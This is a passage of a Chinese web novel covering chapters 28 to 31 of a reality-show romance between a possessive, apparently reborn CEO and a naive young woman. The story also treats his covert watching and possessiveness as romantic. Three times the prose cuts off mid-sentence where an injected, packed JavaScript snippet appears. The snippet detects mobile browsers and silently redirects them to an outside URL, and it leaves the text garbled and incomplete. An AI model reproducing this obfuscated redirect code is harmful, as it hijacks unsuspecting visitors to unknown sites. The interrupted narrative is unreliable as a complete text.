果茶心中一紧,不知道该怎么解释,又不会撒谎,只能结结巴巴地顾左右而言他,最后找到一个借口便溜之大吉。
这反应……
祝余沉下脸,果然是他。
想起录制第一天至今发生的种种:恰逢其时的电话、失眠导致的“生病”、宣示主权似的亲临拍摄现场,甚至是江知渺留宿第二天突然曝出的性丑闻,以及盛逢对茶茶的针对和滑跪……
是否这一切都是他设计的?!就连茶茶……也只不过是在他掌控之中的手中雀?
祝余心中冒出一团怒火。
这是他从未有过的情绪,作为一个十足的“淡人”,他一直游离在纷争之外。
盛逢长久以来的语言霸凌他默默受着,黑粉的肆意污蔑他也无心处理。
可是现在,他脑中莫名涌现一股强烈的念头:他要拆穿程司屿的伪装,让茶茶看清那个监视狂的真面目。他要保护好茶茶!
另一边,果茶也将刚才发生的事偷偷传达给了程司屿。
“怎么办啊司屿哥哥!我们之间的关系好像瞒不了祝余了……”
她一脸认真地举起四根手指,“但是我没有承认,我发誓!”
傻姑娘,不是好像瞒不住,是早就暴露了。程司屿摸摸她的头顶,安抚道:“我来的那一刻,他就已经知道了。”
!!!
果茶瞳孔地震,“早知道就不用这么直白的备注,应该直接一串号码好了……”
“那茶茶还能知道是谁打过来的电话吗?”
“当然!我记性特别好,你的、果果妈妈的、鹿姐姐还有枝枝姐姐……好多人的号码我都会背。”
“不对不对,现在不是说这个的时候!”果茶抬起头,可怜巴巴地问程司屿,“怎么办?都怪我……”
程司屿摇摇头,“不是你的错,是我一时疏忽。”
果茶眨眨眼,不明所以。
“第一天录制时我放心不下,下班后便来这儿看了一眼,见一个陌生男人……也就是祝余,与茶茶举止亲密,我一时冲动才给你打了电话……”
果茶才知道原来背后还有这回事儿,难怪这么巧。
“茶茶不会怪我在暗中……监视你吧?”程司屿面上泰然,实则指腹已被自己掐得泛白。
“怎么会!你不过是担心我而已,怎么还用上监视这么变态的词了?”司屿哥哥为人正直有礼,他才不会有这么下作的心思呢。
程司屿松了口气,顺势试探地问道:“如果有人曲解我对茶茶的用意,甚至暗自挑拨我们的关系,茶茶还会信我吗?”
“当然!”
茶茶拍拍胸脯,“我最最最相信司屿哥哥啦!”
28. 寄给茶茶的第28封信
乔如是很快发觉气氛的不对劲。
本以为是一场和和美美的“家宴”,却变成貌合神离的“最后的午餐”。
这还不是最要命的。
最要命的是,她发现一向温和内敛的祝余今天像吃错药了似的,总对程司屿有种莫名的敌意。
比如他们谈到程总对自己的知遇之恩时,茶茶竖着大拇指表示“司屿哥哥是他见过最热心的老板”,祝余便暗戳戳说“是资本家就会看中有利可图,就像有的老板重钱财有的则好美色”。
再比如问到程司屿为何会参加这个节目时,他坦然表示“故人邀请正好有空便来了”,祝余直接质疑他“以前从不接受媒体采访,为什么这次反而自己主动抛头露面,原因恐怕没那么简单吧?”
甚至……祝余还直接问程司屿有过几段的感情史。
“咳咳!”果茶惊得被水呛到。啊?这是可以问的吗!
程司屿先是将纸巾递给茶茶,柔声询问她“还好吗?”
得到茶茶的肯定回复后,他才回望祝余审视的目光,神色淡然地说:“说来惭愧,虽然年纪不小了,但这么多年确实一直孑然一身,按年轻人的话来说,那我应该算是名副其实的……单身狗?”
果茶一听乐了,笑得前俯后仰。她以前只觉得司屿哥哥人帅心善、性情温良,今天才发觉原来他也可以这么有趣。
“我记得几年前有新闻报道你曾和一位名媛成双入对进出酒店……?”祝余步步紧逼。
?还有这回事?果茶八卦地竖起耳朵。
程司屿回想了好一会儿,终于将祝余所说的信息与脑中的记忆对上,他轻笑一声:“你是不是没看新闻后续?”
果茶眨巴着眼睛:“什么后续?”
程司屿沉默一瞬,当年他的做法现在自己看来都显得有些不近人情,他不确定茶茶听后会不会反感。
但祝余抢先帮他回答了,“与女方父亲合作项目中止,把记者所属公司告到倒闭重组,差点坐牢还丢了工作的记者被逼无奈,跪在程氏集团大楼广场道歉……”
“祝余。”
程司屿抬眸,眼底寒彻入骨。
状态外的果茶懵懵地左右看看他俩,这才意识到氛围变了。
程司屿眼底浓浓的警告,同样让祝余心神一凛。
他很清楚,自己对上程司屿不过是以卵击石,要是再不停下来,自己的下场或许会比此前所有得罪过他的人更加严重。
乔如是和崔普也开始打起圆场,“太阳现在没那么毒辣了,要不要去户外?”
祝余深吸一口气,“看程总以往狠辣的行事作风,并不是会炒作恋情、与异性相处亲密的人……”
“那为何初次见面就对茶茶嘘寒问暖?难道这并非你和茶茶的初遇?还是说……是你对她别有意图?”
!!!
祝余疯了!!!他在说什么!
果茶脸都麻了,祝余明明知道程司屿和她早就认识,为什么还要故意问这种话……
不对。果茶突然从弯弯绕绕的逻辑中抽离出来。
如果真像祝余说的那般,司屿哥哥其实并不是一个“好相处”的人,更不会对像她这样“落难的无家女孩”嘘寒问暖,那为什么他们第一次相遇时,他就对自己那么好?
难道他……真的对自己别有所图?
可她又有什么能让他图谋的呢?
她抬头看向程司屿,正巧撞进他灼灼的目光中。
「如果有人曲解我对茶茶的用意,甚至暗自挑拨我们的关系,茶茶还会信我吗?」
「当然!我最最最相信司屿哥哥啦!」
不久前刚发生的对话历历在耳,如当头一棒,让摇摆中的果茶定住。
她紧皱眉头,反驳祝余的话:“司屿哥哥不是你说的那样,他是一个很好的人,我们确实……之前就认识。”
她讲起自己刚来花城第一天就遇到程司屿的奇遇,以及后来在景区兼职还有签公司时,他对自己的帮助。
说完,她内疚地看向其他三人,“对不起,我也没想到来的好心老板就是程司屿,因为怕引起误会所以没有告知大家。”
本以为大家会就此解开误会、重修于好。没想到祝余依旧木着张脸、不置可否。
而乔如是则急得满屋打转,“这段会被录进去吗?”刚才场面太混乱了,她一时都忘了还在录制当中,万一传出去了……
“如是姐,”程司屿沉声打断她,“不必担心,餐前我已让工作人员关了直播、暂停录制。”
乔如是一惊,他早就预料到现场可能会失控?
还没问出这个问题,程司屿先笑了,他双手交叠放在桌面上,单刀直入问祝余:“我理解你忧心茶茶的处境,但作为圈内人士,你是否应该长点脑子?”
他原以为祝余会比江知渺聪明一些,没想到一样的莽撞愚钝。
“若是还有疑问,私下来找我,欢迎。”
程司屿屈指敲了敲,是警告,更是示威,“但请不要再给茶茶带去困扰。”
好一招倒打一耙!被扣上一口大锅的祝余此时如立于危墙,继续对峙不是,缴械投降更不甘。
慌乱看向果茶,只见她蹙着眉,似乎在对他的行为表示极不认同。
祝余的理智骤然归位。
他本以为程司屿屈尊来到这里是为了更好地掌控茶茶,现在想来,不是。
程司屿故意把自己引到二楼,让他听到一门之隔后他与茶茶的窃窃私语,激起自己对他的敌视和怒火。
现在却言辞凿凿,一副为茶茶考虑的深情模样,不就是为了挑拨他和茶茶之间的关系,让茶茶对他失去信任吗?
可现在说什么都已于事无补,他不想让茶茶更加厌恶自己。
祝余开口,向来动听的嗓音此时却生涩沙哑,“是我思虑不周了,茶茶,对不起。”
果茶摇摇头,“你误会的是司屿哥哥,你应该向他道歉才对。”
……祝余心头一梗,转而看向程司屿。
对方慵懒地抬手,制止他接下来的道歉,“不必,只要有益于茶茶,我都能理解。”
“方才我也言重了,见谅。”
祝余咬着后槽牙点点头。行,好赖话都让你说了呗。
不见硝烟的战争渐渐平息。
一直插不上话的乔如是和崔普两人互递一个眼神,在暗潮涌动中参透了两个男人对茶茶那些“未能宣之于口”的情愫。
*
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14379750|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
在崔普召回工作人员中途。
果茶悄悄问程司屿:“你没有生气吧?”
程司屿好整以暇地扬起眉梢,“在茶茶心中,我是一个易怒之人吗?”
果茶摇头,看向他的眼眸中含着一丝内疚:“可我害得你被人误解了,你还被说的那么不堪……”
“茶茶最终是相信我的,不是吗?”
果茶愣了愣,原来他当时就察觉到她有过短暂的动摇。
“茶茶无需自责,旁人的看法与我何干?”程司屿轻声说,“只要你能始终如一地信任我,就够了。”
果茶沉默几秒,偷偷伸出小拇指勾了勾他的指尖,“拉钩。”
程司屿轻笑一声,克制地用指腹摩挲了她的手背,“好。”
另一边,导演一进门就先胆战心惊地观察程司屿的脸色,发现他面上并无异样,甚至还隐隐有些愉悦,才松了口气,开始接下来的录制安排。
按照原定计划,下午四点后出海看日落。
所幸金主爸爸程总早已安排好私人游艇,不然节目组在这么短的时间内倒挺难完成这项计划。
游艇行至深海区域途中,烈阳西沉。
落日熔金,暮云合璧。压低的斜阳似乎就悬浮在一望无际的海平面上。
果茶第一次见到这样壮丽的景色,还没等乔如是帮她抹好后背的防晒霜,就跑出了更衣室。
直播已经开了有一会儿,正在舔屏程司屿和祝余的网友们纷纷转移阵地。
【啊啊啊妹宝的腿不是腿!是塞纳河畔的春水!妹宝的腰不是腰!是夺命三郎的弯刀!呲溜呲溜!!】
【第一次见茶茶穿这么少,本来以为会是小学鸡身材,没想到……嗯……美得我有点内个了,这不得把那几个男人迷死】
【感情变质时刻!!我不要当姐姐粉了,我要当老公粉!我要和程总抢老婆!!】
【笑鼠了快看程总虎视眈眈的眼神,很难不怀疑他已经陷进去了!一个肩宽腰窄倒三角霸道总裁,一个翘屁嫩男温柔忠犬,妹宝,你就挑吧,一挑一个不吱声】
【啊?只有我还在磕江知渺的桀骜不驯富二代浪子回头吗?】
【滚呐,烂黄瓜已被判处无妻徒刑】
踏上甲板,果茶径直躺在冰垫上,懒洋洋翻了个身,晒起阳光浴。
跟在后面的乔如是哭笑不得,只得将防晒霜挤在自己掌心后,再在茶茶光洁的背上缓缓推开。
乳白绵绸的质地如飞雪隐入浪花。
程司屿沉眸看着,心中却是雪泥鸿爪般难耐。
他曾在那里留下过无数个情难自抑的热吻,也曾在冲破极限的缠绵之下,故意将暖玉刻上他的烙印。
他无比清楚那具身体对自己的致命吸引力。
茶茶会骂他“变态”“混蛋”“不要脸”,他都欣然收着,破罐子破摔时他还会自嘲“什么清心寡欲,不过是好色之徒在没有遇到挚爱前的虚伪标榜罢了”。
但此时此刻,他才恍然察觉自己已经很久没有握住,那块曾让自己欲罢不能的璞玉了,甚至不慎碰上都担心是否会被玷污。
原来怜惜是可以凌驾在欲念之上的。
对于茶茶,第一是爱,而后才是性。
29. 寄给茶茶的第29封信
烟汀海深海区。
崔普和祝余老僧入定般,并排站在甲板海钓。
起初,茶茶还能沉下心跟着他们钓几条黑鲷,时间长了又觉无趣。
程司屿自然一切以她为先,便提出带她去潜水看珊瑚礁。
在随行女教练的指导下,果茶换好自由潜装备,学会几个基础的潜水手势。
沿着游艇边缘下水时,果茶心里本紧张得不行,一抬眼,看到半浮在海面的程司屿朝自己伸开手臂,她顿时安定下来。
双腿沉入海水,水压如高密度海绵一般,将她的躯体严丝合缝地包裹住,隔着海水,潜水服贴在皮肤上的触感更加清凉。
她乳燕投林般抓住程司屿的双手。
好像只要有他在,自己总会格外安心,什么都不用怕。
外界的声音刹那远去,只能感受到绵密海水流动的推浮力。
起初,不熟悉潜水技巧的果茶怎么都潜不深,脑袋还没沉下海平面二十厘米,就竖起大拇指表示要上去。
来来回回好几次,最后挫败地把头冒出海面。
累了,歇会儿。
看得崔普直乐,海杆都扔了,特意跑到他们潜水那一侧耍起嘴皮子,“茶茶,小鸡啄米呢?还不如拿个装满水的脸盆沾一沾脑袋……”
乔如是狠狠给了他后脑勺一巴掌,“孩子第一次下水,能潜下去已经很棒了,让你在这儿说风凉话!”
茶茶戴着面镜,听不清他们在说什么,但看到原本笑得前俯后仰的崔普在乔如是抬手后瞬间老实许多,便大致猜到了他们的对话内容。
她艰难地用气声“哼”了一下,委屈巴巴看向程司屿。
程司屿眼底笑意难掩,他朝茶茶游得更近一些,虚虚搂住肩,顺势抬手覆上她的头顶。
在他的安抚下,果茶打了个手势,决定继续下潜。
程司屿极有耐心地重新教了她几个易于新手下潜的姿势。
几次过后,两人的身影终于消失在海平面下。
崔普笑着感叹:“真没想到程总这么有耐心,教了快一小时才下水,从头到尾都没发过脾气,要我可得训人了……”
“那也得看是对谁咯,他对茶茶一向温和。”
乔如是叹了口气,可上位者的爱意谁又能看得清、摸得透呢?
来得汹涌,是否走得也无情。
祝余静静望着波澜无惊的海面,陷入深思。
-
今天天气晴好,阳光透进清澈的海底,海下能见度极高。
大片的蝴蝶鱼穿梭在奇形怪状的礁石中啄食珊瑚和海藻,见到偶然闯入的人类也毫不惊慌,悠哉从二人眼前游过。
一只妪鳞鲀方才还围着珊瑚礁上的海胆打转,随后又跑到他们面前晃悠。
茶茶拍了拍手,她知道这个!等着潜水员“开罐头”的聪明鱼!
尽管不能说话,但程司屿还是读懂了她的心声。
他从潜水服内侧抽出一把小刀,割下海胆,沿着缝隙撬开。
几只嗷嗷待哺的妪鳞鲀迅速围过来,将海胆啄得碎肉四溅。
茶茶呆呆看着。
默默用水下拍摄设备记录下这一幕,程司屿脑中却闪过一个地狱笑话:前世他溺亡海底后,是否也同这个海胆一样的下场?
那时,他没有半点畏惧欣然赴死,甚至企图以这种方式来祭奠亡妻,祈求来世的相会。
从没想过竟当真奏效了。而茶茶此时就真真切切在他眼前,就在他曾溺亡的那一片深海区。
多么戏剧又美妙的一幕。
氧气耗尽前,两人顺利出水。
“天呐!快看!”
“转头往后看!”
崔普和乔如是伸直手臂大喊,祝余也打了个手势。
果茶和程司屿顺着他们的动作扭头。
在不足他们五十米的地方,几只粉色海豚接连跃出海面,嘤嘤叫声泛动层层叠叠的波浪。
更远处,暮色四合。
绛紫的晚霞与深蓝的海岸连成一线,短暂相逢的一瞬,宛若合卺。
静置许久的直播间,弹幕一时如浪涌。
【救命好梦幻的一幕!大大咧咧的碎嘴子崔普爸爸,泼辣但有时又很温柔的乔如是妈妈,内敛忧郁的妹控祝余哥哥,明媚可爱又懵懂直球的茶茶妹宝,好喜欢这个综艺的一家人配置!不想在这里结束!第二季第三季搞快点好吗?】
【程总呢?你把我程总放哪儿了!】
【程总是正在卖力追求妹宝、甘愿为爱入赘的那种】
【这么说,即将和妹宝组成一个小家的也只能是程总咯,很好,又磕到了】
【呜呜呜这么典型的ending画面,综艺是真录完了吗?】
【好消息,明天还要录一家人送妹宝开学报到。坏消息,明天不直播,只能等综艺最后一期播出!】
【啊啊啊啊你们给我等着!我和妹宝同一所学校,以后我天天贴脸磕!】
……
*
一直到录制结束,果茶仍处在极为亢奋的状态。
听工作人员说今天大晴天海水浅,入夜后退潮可能会有很多螃蟹。她玩心大发,独自一人去附近的海滩上抓螃蟹。
拿出手电筒照在滩上,强光下的螃蟹傻愣愣地趴在原地一动不动。果茶眼疾手快用带网兜的抄子轻轻一铲,几只青蟹手到擒来。
正要往背后去摸装货的铁桶,却摸到一只硬邦邦的手臂。
一扭头,程司屿将桶移到她的手边,“我猜茶茶在找这个?”
“司屿哥哥!你没走?”
她以为程司屿录完后就会离开,至少应该不会留在客栈过夜。
“以为我要走都不送送,还自己一个人在这儿抓螃蟹玩儿?”程司屿嘴上打趣,心中却酸涩不已。
真是个没良心的小家伙。分明下午还和他如此要好,转头就能把他抛下。
“有什么好送的,一回家不就能见到了。”
程司屿一愣,刚冒出来的苦涩被这记直球给怼了回去。
对啊又不是见不到了,一切都在向好的方向发展,他再也无需惧怕茶茶会像前世那样不告而别。
茶茶把他视作家人一样的存在,那意味着,他已经得到了她的信任。
果茶将青蟹倒进桶里,晃了晃手里的网兜,“要不要试试看?”
就着手电筒的光亮,果茶扫了眼程司屿腕上那支据说价值不菲的名表,弱弱收回手。
嗯……他好像不太适合跟自己玩这种幼稚的游戏。
谁知下一秒,程司屿接过网兜,极其自然地说:“我不太会这些,茶茶教教我,好吗?”
闻言,果茶扬起大大的笑容,“好!不过在此之前,我要对你……”
她攀上他的手臂。
这一亲昵的动作,让程司屿紧张地全身绷直,一瞬间脑海中闪过无数种可能。
眼见茶茶径直……
摘下了他的手表???
“这个看起来很贵,免得弄坏了我赔不起,先帮你收进包里吧!”茶茶将背包拉到胸前,将手表小心翼翼放进最内层的口袋。
然后又伸出她那只“作恶多端”的小手,攀上他的裤腿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14390480|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
这次程司屿淡定许多,不再自作多情。
果然,茶茶只是替他卷起了不太方便的裤脚,“好啦!虽然司屿哥哥这一身很帅,但下次来海边穿一个大裤衩就够了!”
她无奈地瞥了他一眼,小眼神好像在说“只宠你这一次,下次可不许这样了哦”。
程司屿低头轻笑一声,“记住了,谢谢我家茶茶。”
两人一前一后踏入螃蟹乱窜的海滩。
茶茶举着手电筒,跟扛枪上战场似的,一脸严肃地教程司屿:“螃蟹在晚上很笨的,手电一照就不敢动了……那里!快捞!”
茶茶指着他斜前方大喊道。
程司屿分神的瞬间,灯光一晃,螃蟹解咒般溜之大吉。
“看来司屿哥哥比螃蟹还笨。”果茶抱怨地戳了戳他的手背。
见他毫不气恼,甚至还朝自己笑得一脸温柔,果茶面上一热,“这、这样说你都不反驳?”
“为何要反驳?”程司屿眼神真切,“茶茶说得对,确实是我太笨了……”
话还没说完,果茶笑嘻嘻地抱住他的手臂,轻轻晃了晃,“我开玩笑的!你怎么还认可了呢,一点原则都没有……”
程司屿不说话,笑着回望她的眼眸。
果茶无端读懂了他的回应。
「怎么没有原则?我的原则就是茶茶。」
心脏那种不受控制的感觉愈发强烈,像受力后的弹力球一样,在五脏六腑到处乱窜。
这种奇怪的感觉是从录制遇到司屿哥哥时开始的,起初还只是偶尔被他的话牵动,直到在烟汀海深海区潜水时,胸中那种“不适感”几乎压得她透不过气。
闷闷的,还带着一丝酸涩。就好像曾有什么难以割舍的东西掉落海中,怎么捞都捞不上来,眼看着它沉进海底后渺无影踪。
她以为只是因为自己第一次潜水,不适应水压的强度。
可现在明明在岸上,这种感觉为何不仅没有消失,反而更加明显了呢?
果茶想不通这些,干脆抛之脑后。
“不抓了不抓了!”
她胡乱摆摆手,跑到干燥的沙滩躺下摆烂。
程司屿左手提着空无一蟹的铁桶,右手拿着各种捕捞工具,任劳任怨跟在她身后。
近岸的灯塔以及岸边的霓虹灯照过来。
程司屿身上遍布的泥沙无处隐遁,裤脚还淌着水,活脱脱一个当地渔民颗粒无收时的狼狈形象,哪里还有风云霸总的矜贵气质。
果茶笑得在满沙滩打滚。
意识到茶茶在笑自己,程司屿沉默着将手上的东西放到一边,破罐子破摔似的也学她躺在沙滩上“裹面包糠”。
见有人陪,茶茶闹得更欢了。
看着她肆意自由的模样,程司屿忍不住低声笑起来,随后好整以暇地支起脑袋,侧身躺着欣赏“小泥人”的巨作。
下一秒,失去方向感的小泥人便滚到他的怀里。
如愿以偿。
“碰瓷?”程司屿挑眉,打趣道。
“昂。”茶茶不仅没移开身子,还叛逆地用沾满沙砾的脑袋往他胸口到处蹭,蹭完后才抬起头耀武扬威地说,“就碰就碰,你能把我怎么办?”
话音未落,她就被人按进怀中,高大的躯体压在身上,让她动弹不得。
随着那只强劲有力的手臂陡然收紧,果茶慌乱咽下未完的话,懵懵抬眸。
只见程司屿素来温润的笑眸中隐隐透出危险的气息,他薄唇微启,说话时胸腔起伏仿佛带来一阵酥麻的电流。
“你说我能把你怎么办呢?茶茶?”
30. 寄给茶茶的第30封信
两人的距离如此近。
只需微微颔首,他的下巴就能触碰到她的鼻尖,仿佛彼此的气息都在暗自交融缠绵。
果茶错开视线,不敢直视他过于炙热的眼睛,“我、我错了……”
微微颤抖的睫毛,像寻找机会、意欲飞走的蝴蝶。
明明是她先撩拨起来的,现下又想逃之夭夭,真是个狂妄又胆怯的小狐狸。
“茶茶……”
程司屿喉结滚动一下,艰难地问:“你对其他男人也会如此么?”
会对其他男人笑得如此具有蛊惑性,会对其他男人说一些拨动人心的俏皮话,甚至会对其他男人……投怀送抱。
若非这样,短短几日,江知渺和祝余怎么也会同他一样深陷在茶茶的“陷阱”之中呢?
程司屿突然想起前世,茶茶第一次见到自己,就自来熟地甜甜笑着唤他“司屿哥哥”。
而他此前从未被人这样称呼过,当然,也无人敢这般放肆。
所以初识之际,他内心一直对茶茶报着审视般的警惕,只觉得这个“毫无边界感的小女孩挺会套近乎”“手段不简单”。
后来他才意识到,这个女孩是真傻。
她对所有人一视同仁地亲昵。
他不是独特的那个。
想到这里,程司屿理智恍然归位。
是了!茶茶什么都不懂,无论是前世还是今生,她始终如一地单纯、热忱。
对人毫不设防是她的性格使然,若是有人因此深陷其中、痴迷于她,只是那些男人自作多情罢了。
一如他而已,怪不得茶茶。
程司屿兀地起身,拍了拍衣裤沾上的细沙,转移话题:“时间不早了,我们回去吧?”
茶茶也跟着站起来。
两人并肩往岸上走去。
就在程司屿以为茶茶根本没听清他刚才的唐突之言,而暗自松了口气时。
只听见茶茶慢吞吞地问:“对其他男人哪样?”
程司屿心跳一沉。
“住到他们家里,和他们养一只叫崽崽的狗狗,把性命交付他们潜进深海,再在沙滩上滚来滚去抱到一起……”
“是我刚才胡言乱语了,茶茶。”
程司屿慌了,他按住果茶的肩膀,试图制止她接下来的话,“原谅我好吗?”
果茶紧皱眉头,“为什么要原谅?”
程司屿霎时如坠深涧。
是今晚的夜色太美了,他一时得意忘形,在茶茶面前露出了狐狸尾巴。
他怎么能那样揣测茶茶?怎么能暴露他几欲溢出的掌控欲和占有欲呢?
茶茶会不会就此与他保持“常规”的社交距离,就连“一视同仁的亲近”都要就此收回了?
“不会的。”
茶茶笃定地说:“我不会对其他男人这样的。”
程司屿一愣,停在原地。
茶茶自顾自说:“我刚才仔细想了想,好像要是把你换成了别人,我都会感觉不自在,只有和司屿哥哥在一起时才会有那种安全感……”
她侧过身子,抬头看他的那一刻便扬起甜甜的笑容:“因为是你呀!”
如几十簇烟花在脑中倏然绽放,震得程司屿颅内发懵。
前所未有的畅快让他几乎丧失了语言系统,“真、真的吗?”
“假的!”茶茶皱起鼻子,傲娇地哼哼两声,“我才不要说第二遍!”
她大摇大摆地转身离开。
什么形象,什么伪装,程司屿通通不要了。
他拎起满手的东西,像只大型犬一样巴巴跟在茶茶身后,“那茶茶要记住,以后也只对我这样,好吗?”
怕茶茶误会,他又解释道:“嗯,我的意思是……外面的男人很危险,茶茶要与他们保持距离、注意分辨……”
果茶被他这幅耍无赖后极力替自己辩解的架势逗乐了。
短短一天,好像自己和司屿哥哥的关系更亲近了,她见到了他不同以往的许多面。
他会放下身架陪她逛菜市场,会耐着性子一遍又一遍地教她潜水去看珊瑚,还会毫无形象地同她一起抓螃蟹、浑身脏兮兮地躺在沙滩上。
果茶更加坚信,他不是别人口中高不可攀、狠辣阴鸷的“程总”,他是对自己事事有回音的司屿哥哥。
嗯……她也该对他更好一些吧。
“好,我记住了,司屿哥哥。”
果茶一边走,一边再次确认:“你今天真的不走了吗?”
“明天茶茶开学报到,我怎会缺席?”
“但是……会不会太高调了?”
“整个节目组都去录制,唯独我去就变高调了吗?茶茶是不是讨厌我?”
“没有没有!最最最喜欢你!”
……
程司屿扬起难以抑制的嘴角。
原来“恃宠而骄”是这种感觉。
爽。
-
回到客栈。
吧台的几盏吊灯亮着,祝余孤零零地坐在灯下发呆。
果茶站在门口有些不知所措,“祝、祝余,你还没休息呀?”
过了好一会儿,祝余才回过神,晃了晃手中的鸡尾酒杯,“还不困,喝点儿。”
强撑着醉意,他望向一前一后回来的两人,仿佛在沙堆里打过滚似的,两人都格外狼狈。
但他们脸上的笑意过于真切,相形见绌的祝余反而成了更落魄的存在。
他仰头喝下最后一口酒,步态踉跄着正欲离开。
“小心!”
眼见祝余差点撞到桌角,果茶惊呼一声,刚要上前。
程司屿攥住她的胳膊,柔声道:“茶茶你先上楼洗漱,我扶他回房,不用担心。”
果茶看了看一脸温和的程司屿,又看了看似乎酩酊大醉的祝余,嗯……她这个小身板也确实起不到什么实质性作用。
“好,”果茶点点头,“楼梯有些陡,你也要小心些……”
程司屿笑着摸摸她的后脑勺,“去吧。”
目视茶茶的背影消失在视野,脚步声也渐远。程司屿才敛了笑,垂手靠站在祝余身侧,“装可怜?”
祝余此时胃如火烧,难受地趴在桌面说不出话。
装可怜是被爱的人才有资格表演的一种特权,他是真可怜。
缓了一会儿,祝余艰难地问:“你和茶茶在一起了?”
潜水、抓螃蟹、躺在沙滩看星星,在动人的夜色下相拥互诉衷肠,至少,在祝余刚才窥探到的场景中,是这样的发展走向。
真讽刺,他对程司屿监视茶茶的行径感到不齿,可现在轮到他成为了这样的无耻之徒。甚至他连茶茶的知心好友都算不上,竟也敢产生如此幽暗的念头。
“无可奉告。”
程司屿泛着冷意的笑容,在祝余
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14412169|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看来就是一种宣示主权般的默认。
他落寞垂眸,“茶茶是个好女孩,请你一定要好好珍惜。她在客栈没有别的同龄人,所以才与我关系近些,希望你不要因此介怀。今天的事我也想了很久,确实是我考虑不周……”
程司屿挑眉,心道这小子倒挺坦荡。
只听他接着絮叨道:“但爱是需要彼此信任的,我恳请你停止暗中监……”
程司屿一把拎起他的后衣领,随后慢条斯理地伸出左手,指向楼梯处,“没死就自己上去。”
*
送茶茶入学这天,尽管节目组跟传媒大学相关部门提前报备过要“低调拍摄”,但书记、校长和音乐学院院长都还是出面迎接了。
不是因为节目录制,也不是因为各路知名明星到来,而是因为……程司屿昨天以个人名义向音乐学院捐款8亿。
天降巨资!
程司屿和他们学校此前没有过合作往来,半杆子打不着的关系。他也没有靠捐赠巨款给自己个人形象做宣传的意图,甚至否决了校方想要举办表彰仪式的提议,明确表示“不予公开”。
学校高层对此诚惶诚恐,集体失眠后,得知程司屿第二天竟也会来学校参与节目录制,便推出最有分量的三位领导来迎接。
几人刻意避开镜头,谁也不知道他们在说些什么。
但崔普一眼就看出校领导是奔着程司屿来的,打趣道:“别说,程总这个样子还真挺像家中小孩上幼儿园了,来学校打点关系,托老师照顾好自家孩子的操心家长。”
茶茶左看看右看看,最后恍然指着自己,“啊?我是那个幼儿园小朋友吗?”
逗得乔如是揽住她的肩膀,直摇头:“怎么会?茶茶是大学生……”
祝余默默补刀:“嗯,清澈愚蠢的大学生。”
!!!
祝余变了!果茶幽怨地瞥了他一眼,“你以前不是这样的……”
“我以前怎样?”
祝余以前?茶茶想了想,沉闷、淡漠,甚至有些厌世,现在好像变得更加自洽从容,竟还会开始打趣她了!
茶茶抱怨是假,替他开心是真,“很好,以前好,现在更好!”
祝余捻了捻发麻的指尖,状似不经意说:“昨天音乐学院收到一笔巨额捐赠,茶茶有听到风声吗?”
果茶摇头。虽然入了新生群,但他们每天的发言动不动就99+,她实在看不过来。
“学校官网发了一条公告,只透露了捐赠人的姓氏……”
祝余颔首看向被校领导包围起来的程司屿,“姓程。”
果茶顺着他的视线望过去,工作中的程司屿清寂傲然、游刃有余,与昨日的他截然不同。
她愣了数秒,“是司屿哥哥?”
很快,她就从他的刻意引导中跳出来,蹙眉反问:“你怎么知道的?”
祝余兀地笑了,“我也是从这里毕业的,照理说,茶茶应该喊我……学长?”
怕茶茶误会,他忙解释道:“还不确定捐款人是否是程总,我只是想提醒茶茶。以他的身份地位,很难摸透他们这种人在想什么,所以茶茶一定要保持清醒,保护好自己。”
果茶眨眨眼,不明白他说这话是什么意思。
只见他释然地叹了口气,笑道:“不过我一个外人也没有资格说这种话。既然你们已经在一起了,那……祝茶茶永远幸福。”
31. 寄给茶茶的第31封信
比起祝余是自己“学长”这件事,更令果茶震惊的是,他为什么会认为自己和程司屿“在一起”了?
而且这种误解还不只他一个人有。
若说花城传媒大学最近最备受热议的两大事件,第一件事是“程姓爱心人士为音乐学院捐赠8亿”,那么第二件事便是热播综艺《猫猫会客栈》里的“国民妹宝”入学了。
几乎每天都有各大院系的学生特地跑来看茶茶。男生看她是不是真的像传闻中那么漂亮可爱,而女生则……
“茶茶宝宝!啊啊啊终于看到真人了!我是你的妈粉!”
和室友们去食堂的路上,果茶再次被陌生的漂亮姐姐逮到。
乖巧且熟练地站到镜头前合影后,不出意外,她又听到那个问题:“你和程总是真的吗?”
这是果茶入学几天以来,听到的第三十四次类似问题。也正是因为和同龄人在一起聊天,她才知道自己在录的那档综艺中收获了四对CP,其中最热门的是她和程司屿的“寄屿爱茶人”。
果茶佯装垮下小脸,“你不是我的妈粉!你是我的cp粉……”
